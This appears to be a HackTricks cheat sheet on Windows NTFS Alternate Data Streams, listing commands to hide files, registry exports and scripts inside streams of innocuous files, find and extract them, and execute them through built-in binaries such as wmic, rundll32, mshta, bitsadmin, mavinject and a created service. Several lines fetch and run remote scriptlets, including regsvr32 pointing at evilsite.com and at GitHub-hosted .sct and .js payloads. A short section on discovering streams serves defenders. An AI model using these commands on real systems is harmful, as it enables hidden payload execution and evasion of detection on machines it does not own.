reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat
set-content - path {path to the file} - stream {name of the stream}
## Discover ADS contecnt
dir /R
streams.exe <c:\path\to\file> #Binary from sysinternals#
Get-Item -Path .\fie.txt -Stream *
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
##Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
more < c:\ads\file.txt:test.exe
##Executing the ADS content###
* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)
* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209
* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
* Powershell.exe
powershell -ep bypass - < c:\temp:ttt
* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
* Regedit.exe
regedit c:\ads\file.txt:regfile.reg
* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile
* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe
* Cmd.exe
cmd.exe - < fakefile.doc:reg32.bat
https://twitter.com/yeyint_mth/status/1143824979139579904
* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* bash.exe
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>